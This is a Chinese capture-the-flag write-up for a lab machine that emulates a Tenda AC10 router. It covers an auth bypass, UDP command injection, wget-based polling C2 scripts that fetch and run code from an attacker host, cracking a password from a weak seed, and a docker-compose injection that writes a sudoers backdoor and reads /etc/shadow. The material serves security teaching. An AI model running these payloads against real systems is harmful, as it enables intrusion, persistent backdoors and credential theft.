

# ATE Writeup by Sublarge

靶机: ATE 作者: beehack 靶机ID:764

## 攻击链概览

Tenda AC10 固件仿真容器

- ① /goform/ate 未授权开启 ATE(UDP 7329)
- ② UDP 7329 命令注入 → 容器内 root RCE



容器内 root

- ③ 内存转储 + 崩溃 core 分析 → 拿到宿主路径与 hindsight 记忆服务线索
- ④ hindsight /api/documents 泄露 pass.py 源码
- ⑤ pass.py 熵极低(randint(0,9) 仅 3.32 bit) → 枚举 10 次得 SSH 口令



宿主 beehack (user flag)

- ⑥ nginx-ui 是干扰项 (RSA 登录 + /api/install + pty 全是死路)
- ⑦ 发现 tenda-reset.timer: root 每 10 分钟在可写目录跑 docker compose
- ⑧ 注入 helper 容器, 挂载宿主 / → 写 /etc/sudoers.d/



宿主 root (root flag)

## 侦察 Recon

### 端口扫描

Bash

```
nmap -p- -T4 --min-rate 2000 172.21.78.203 -oN nmap_allports.txt
nmap -sV -sC -p 22,80,9000 172.21.78.203 -oN nmap_services.txt
nmap -sU -p 7329 172.21.78.203 -oN udp_full.txt
```

结果:

| 端口       | 服务   | 说明                                                |
|----------|------|---------------------------------------------------|
| 22/tcp   | SSH  | 宿主 <b>Maze</b> , 仅 <b>keyboard-interactive</b>    |
| 80/tcp   | HTTP | Tenda AC10 Web UI (容器 <b>tenda</b> , 192.168.0.1) |
| 9000/tcp | HTTP | <b>nginx-ui 2.3.2</b>                             |
| 7329/udp | ATE  | 工厂测试服务, 默认 <b>未启动</b> , 需先 <b>/goform/ate</b> 激活  |

## 固件识别

Web UI 抓包与页面特征 → **Tenda AC10 V15.03.06.48**:

```
Bash
# 下载固件（公开源）与解包
binwalk -Me US_AC10V1.0re_V15.03.06.48_multi_TDE01.bin
# squashfs-root 内关键二进制
file bin/httpd          # ELF 32-bit LSB MIPS, MIPS32 rel2, little-endian
                        (mipsel)
```

固件为 **MIPSel 小端**, 容器内用 **qemu-mipsel-static** 用户态仿真:

```
chroot /firmware/squashfs-root /qemu-mipsel-static ./bin/httpd
```

## Web 目录/接口枚举

```
Bash
ffuf -u http://172.21.78.203/FUZZ -w paths.txt -o ffuf_root.json
# 提取 JS 中的 goform 接口
python3 -c "... " > goform.txt    # /goform/ate, /goform/setSysAdm, ...
```

# 入口：Tenda 未授权 RCE

## VULN：登录态绕过

```
GET /login/Auth
```

该接口会直接下发一个已认证的会话 Cookie，无需口令。带上此 Cookie 即可访问所有 `/goform/*` 管理接口。

“

另有硬编码弱口令 `admin/support/user = 1234`，但 `Auth` 绕过更干净。

## VULN： `/goform/ate` 未授权开启工厂测试

Bash

```
curl -s -b "$COOKIE" http://172.21.78.203/goform/ate
```

调用后 `httpd` 会拉起 ATE 服务，监听 UDP 7329，接收形如 `ifconfig <iface> ...` 的测试指令。

## UDP 7329 命令注入

ATE 处理器把收包内容直接交给 `doSystemCmd()`。过滤规则：拦截 `;` 和反引号。  
绕过方式：用 `|`、`&&`、`$( )`。

核心利用脚本 `ate.py`：

Python

```
import socket, sys
tgt = "172.21.78.203"
cmd = sys.argv[1]
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.sendto(cmd.encode(), (tgt, 7329))
s.close()
print("sent:", cmd)
```

验证:

```
Bash
python3 ate.py 'ifconfig | id'
```

即拿到容器内 `root` (`httpd` 以 `root` 跑)。

## busybox applet 陷阱

容器 `squashfs-root` 内只有 `busybox`，以下 applet 不存在：

`dd`、`head`、`tail`、`strings`、`base64`、`hexdump`。

替代方案:

```
Shell
# 取文件前 N 行
/bin/busybox awk 'NR<=8000{print} NR>8000{exit}' FILE
# 提取可打印字符串
/bin/busybox grep -a -o -E '[~]{8,}'
```

## 稳定回连: wget 轮询式 C2

容器网络出网受限、无 `nc` 反连条件，故采用 **目标主动轮询**：

目标端 `shs.sh`：

```
Shell
#!/bin/sh
B=/bin/busybox
U=http://172.21.79.105:5555
while true; do
  C=$(B wget -qO- -T 5 "$U/cmd" 2>/dev/null)
  case "$C" in
    "") ;;
    *) O=$(eval "$C" 2>&1)
      B wget -qO- -T 5 --post-data="$O" "$U/out" >/dev/null 2>&1 ;;
  esac
  sleep 1
done
```

攻击端 `srv.py` (`HTTP :5555`):

- GET /cmd → 读取并清空 cmd.txt （一次性指令队列）
- POST /\* → 输出落盘 out.txt / out.bin

投递（deploy.sh）：

```
Bash
curl -s -b "$COOKIE" http://172.21.78.203/goform/ate # 重新激活 ATE
python3 ate.py 'wget -qO /tmp/s.sh http://172.21.79.105:5555/shs.sh | sh
/tmp/s.sh &'
```

之后交互：echo '<cmd>' > cmd.txt，从 out.txt 读结果（rsh.sh / rsh\_long.sh）。

## 信息收集：core dump + 内存转储

### 崩溃 core 文件

故意运行一个会段错误的 mipsel ELF，触发 /core.\*：

```
Shell
#!/bin/sh
B=/bin/busybox
$B wget -qO /shared/x.elf http://172.21.79.105:6666/rs_le.elf
$B chmod +x /shared/x.elf
$B sh -c "/qemu-mipsel-static /shared/x.elf >/dev/null 2>&1 &"
$B sleep 3
C=""
for f in /core.*; do C=$f; done
echo "CORE=$C"
echo "### prefix strings"
$B awk 'NR<=8000{print} NR>8000{exit}' "$C" | $B grep -a -o -E "[ -~]{8,}" | $B
awk 'NR<=150'
echo "### END"
```

知识点：ELF core 的 NT\_FILE note 里记录了映射文件的宿主路径，由此确认容器根文件系统来自宿主 /firmware/squashfs-root，并暴露 /shared（宿主 ./shared）这一双向投递目录。

# hindsight 记忆服务

容器/宿主内跑着一个 AI-Agent 记忆服务 hindsight:

- 控制面: 192.168.0.254:9999
- 数据面: localhost:8888
- 接口: /api/banks、/api/documents?bank\_id=、/api/documents/<id>?bank\_id=、/api/entities、/api/recall、/api/health
- 后端: PostgreSQL, /home/hindsight/.pg0/instances/hindsight/data (:5432)

枚举 bank:

```
Bash
curl -s http://192.168.0.254:9999/api/banks
# -> beehack
curl -s 'http://192.168.0.254:9999/api/documents?bank_id=beehack'
```

其中一份文档就是 pass.py —— 生成宿主 beehack 口令的脚本。

“

知识点: 文档的 content\_hash = original\_text 的 SHA-256,  
可用来校验我们还原出的源码字节是否完整正确。

## 密码学突破: 从 pass.py 到 SSH 口令

### 泄露的源码

```
Python
import hashlib
import random

prefix = "beehack"
suffix = "H]ÖÖÄ-çs)rkÈöÃnL-í.B>+Â³KëNR³(>§"
plain = prefix + suffix + str(random.randint(0, 9))

sha256_hex = hashlib.sha256(plain.encode("utf-8")).hexdigest()
```

```
res = sha256_hex[7:40]
print(res)
```

## 关键弱点

口令本体是 33 个 hex 字符，看起来熵很高；但唯一随机量是 `random.randint(0,9)` 且未播种 (unseeded)：

- 明文空间只有 10 种 (末尾数字 0-9)
- 有效熵  $\approx \log_2 10 \approx 3.32 \text{ bit}$
- 完全可离线枚举，无需爆破 33 个 hex

## 枚举

Python

```
import hashlib
prefix = "beehack"
suffix = "H]ÖÖÄ-çs)rkÈÖÃnL-í.B>+Â³KëNR³(>§"
for i in range(10):
    h = hashlib.sha256((prefix + suffix + str(i)).encode()).hexdigest()
    print(i, h[7:40])
```

得到 `pw.txt` 中 10 个候选，命中第 2 个：

```
03d58a2eec0213318381d379896d3cade
```

## SSH 逃逸

宿主 SSH 禁用纯 password，仅接受 keyboard-interactive：

Bash

```
# hssh.sh
#!/bin/bash
export SSHPASS='03d58a2eec0213318381d379896d3cade'
exec sshpass -e ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null \
-o PreferredAuthentications=password,keyboard-interactive -o
PubkeyAuthentication=no \
-o ConnectTimeout=8 "beehack@172.21.78.203" "$@"
```

```
./hssh.sh id
# uid=1000(beehack) ...
./hssh.sh 'cat user.txt'
# flag{user-e38c09da8aa46b174367b869e9440d96}
```

## 干扰项：nginx-ui 2.3.2 (Rabbit Hole)

宿主 9000 端口是 nginx-ui。走过但全部死路，记录如下（供复盘避坑）：

## RSA 加密登录

`/api/login` 的 body 必须 RSA 加密：

1. `POST /api/crypto/public_key`，body `{"timestamp": ... , "fingerprint": ... }` → PEM 公钥
2. PKCS#1 v1.5 加密 `{"name": ... , "password": ... }` → base64
3. `POST /api/login` body `{"encrypted_params": "<b64>"}` → 返回 JWT + `short_token`

（对应脚本 `nuilogin.py`）

## 数据库无口令

拉取 `ngdb.db`：

```
users:
id|created_at|updated_at|deleted_at|name|password|status|otp_secret|recovery_code
s|language
1|admin||1|en
```

`password` 字段长度为 0 → 任何口令都 "password incorrect"，空口令又 "password required"。

## /api/install 未上锁

POST /api/install 可直接重置管理员，我们建了 pwn / pwnpwn123 并成功登录。

## pty 死路

- WS 必须用 short\_token ( /api/pty?token=<short> ), 用 JWT → 403
- 连接后 必须立刻发数据, 否则升级即被关闭
- npty.py : { "Type":1, "Data":cmd+"\n" } (1=data 2=resize 3=ping)
- 但 [terminal] StartCmd = login , startTerminal 用 exec.Command(command) (无 shell),  
默认拉起 login → 强制 OS 认证, 拿不到 shell

## 配置写入被挡

- POST /api/config 路径穿越 → filepath is not under the nginx conf path
- POST /api/settings 对 protected:"true" 字段 ( test\_config\_cmd / reload\_cmd / restart\_cmd / logrotate.cmd / terminal.start\_cmd ) 静默忽略;  
非保护字段 ( app.page\_size 、 nginx.stub\_status\_port 、 logrotate.enabled ) 可改

结论: sudo systemctl restart nginx-ui 是诱饵, 真正的提权路径不在 nginx-ui。

## 提权: systemd 定时器 + docker compose

## 发现

```
Bash
./hssh.sh 'cat /etc/systemd/system/tenda-reset.service'
```

**[Unit]**

Description=Reset tenda AC10 emulation container to factory state

After=docker.service

Requires=docker.service

**[Service]**

Type=oneshot

WorkingDirectory=/project/IoT/tenda/docker

ExecStart=/bin/sh -c 'docker compose down --remove-orphans; docker compose up -d'

TimeoutStartSec=90

./hssh.sh 'cat /etc/systemd/system/tenda-reset.timer'

# OnBootSec=10min / OnActiveSec=10min / OnUnitActiveSec=10min / AccuracySec=1s

## 漏洞本质

- `tenda-reset.timer` 以 `root` 每 10 分钟执行 `docker compose down/up`
- `WorkingDirectory=/project/IoT/tenda/docker` 属于 `beehack:beehack 775` → 可写

```
drwxrwxr-x beehack beehack  docker/
docker-compose.yml (1109)
Dockerfile          (521)
entrypoint.sh       (2163)
rootfs/  shared/
```

- `root` 会读取并执行我们可写目录下的 `docker-compose.yml`。
- 注入一个 `helper` 服务, `volumes: /:/host` 把宿主根挂进容器。
- 容器内以 `root` 写宿主 `/etc/sudoers.d/`。

**知识点：**这是典型的“`root`在用户可写目录执行配置/脚本”提权，危害等级等同 `sudo` 免密；利用面不限于 `compose`, `Dockerfile`、`entrypoint.sh`、`rootfs/` 同理。

## 注入的 `docker-compose.yml`

保留原 `tenda-ac10` 服务不动（避免破坏靶机），追加：

```
helper:
  image: tenda-ac10-emu:15.03.06.48
  container_name: helper
  entrypoint: ["/bin/sh", "-c"]
  command:
    - |
      D=/host/project/IoT/tenda/docker/shared
      { id; echo ---; cat /host/root/root.txt; echo ---; ls -la /host/root; } >
"$D/root.txt" 2>&1
      chmod 666 "$D/root.txt"
      echo 'beehack ALL=(ALL) NOPASSWD: ALL' > /host/etc/sudoers.d/zz-beehack
      chmod 440 /host/etc/sudoers.d/zz-beehack
      cat /host/etc/shadow > "$D/shadow.txt" 2>&1
      chmod 666 "$D/shadow.txt"
  volumes:
    - /:/host
  restart: "no"
```

(部署为 `/project/IoT/tenda/docker/docker-compose.yml`)

## 等待定时器 → root

```
# 等 ≤10 分钟（或 sudo systemctl start tenda-reset.service 若可用）
./hssh.sh 'ls -l /etc/sudoers.d/zz-beehack'
./hssh.sh 'sudo -n id'
# uid=0(root) gid=0(root) groups=0(root)

./hssh.sh 'sudo cat /root/root.txt'
# flag{root-e45bfa682ad721b55b9d092aadd5a148}
```

## 总结

### 知识点清单

| #  | 知识点           | 说明                                                                          |
|----|---------------|-----------------------------------------------------------------------------|
| 1  | 固件仿真          | binwalk 解包 + qemu-mipsel-static + chroot 跑 httpd                            |
| 2  | Tenda 未授权     | GET /login/Auth 泄露会话 Cookie (认证绕过)                                          |
| 3  | 命令注入绕过        | doSystemCmd 过滤 ; 与反引号 → 用  、&&、\$()                                         |
| 4  | 工厂测试接口        | /goform/ate 开启 UDP 7329 ATE, 攻击面从 TCP 转到 UDP                                |
| 5  | busybox 限制    | 缺 dd/head/tail/strings/base64, 用 awk 'NR≤N' + grep -a -o 替代                 |
| 6  | 轮询式 C2        | 目标 wget 拉指令、--post-data 回传, 适配受限出网                                          |
| 7  | core dump 取证  | ELF NT_FILE note 泄露宿主映射路径                                                   |
| 8  | AI 记忆服务       | hindsight /api/documents 泄露源码; content_hash 校验完整性                           |
| 9  | 弱熵随机          | 未播种 random.randint(0,9) → 熵仅 3.32 bit, 可枚举                                  |
| 10 | SSH 认证方式      | 禁用 password, 仅 keyboard-interactive → sshpass -e + PreferredAuthentications |
| 11 | RSA 加密登录      | nginx-ui /api/crypto/public_key + PKCS#1 v1.5 + encrypted_params            |
| 12 | WebSocket pty | 需 short_token、连上即发数据; StartCmd 决定执行程序                                       |
| 13 | systemd 定时器提权 | root 在用户可写目录执行 docker compose → 注入服务挂载宿主 /                                  |
| 14 | 容器逃逸          | /:/host bind mount + 写 /etc/sudoers.d/ 建立免密 sudo                            |

### 完整攻击链（时序）

[侦察] nmap: 22 / 80 / 9000 / 7329udp → 识别 Tenda AC10 V15.03.06.48 (MIPSe1)

[立足] GET /login/Auth → 拿到会话 Cookie (未授权)  
GET /goform/ate → 激活 ATE, UDP 7329 上线  
python3 ate.py 'ifconfig | id' → 容器内 root RCE

|

[稳固] deploy.sh: wget shs.sh → 后台运行 → wget 轮询 C2 (tmux 管理)

|

[情报] 触发 core dump → NT\_FILE 泄露宿主路径 /firmware/squashfs-root、/shared  
访问 hindsight :9999 → /api/documents?bank\_id=beehack → pass.py 源码  
content\_hash 校验源码完整性

|

[破密] pass.py: 唯一随机量 randint(0,9) 未播种 → 枚举 10 次  
→ 得 SSH 口令 03d58a2eec0213318381d379896d3cade

|

[逃逸] sshpass + keyboard-interactive → beehack@宿主  
cat user.txt → flag{user-e38c09da8aa46b174367b869e9440d96}

|

[干扰] nginx-ui 2.3.2: RSA 登录 / /api/install / pty(StartCmd=login) → 全部死路

|

[提权] tenda-reset.timer: root 每 10min 在 /project/IoT/tenda/docker 跑 docker  
compose  
该目录 beehack 可写 → 注入 helper 服务 (volumes: /:/host)  
→ 写 /etc/sudoers.d/zz-beehack: beehack ALL=(ALL) NOPASSWD: ALL

|

[夺旗] sudo -n id → uid=0(root)  
sudo cat /root/root.txt → flag{root-e45bfa682ad721b55b9d092aadd5a148}

|

[清理] 从 .bak 还原 docker-compose.yml (下次 timer tick 会 down --remove-orphans  
清掉 helper)  
刻意保留 /etc/sudoers.d/zz-beehack (root 后门, 便于复验)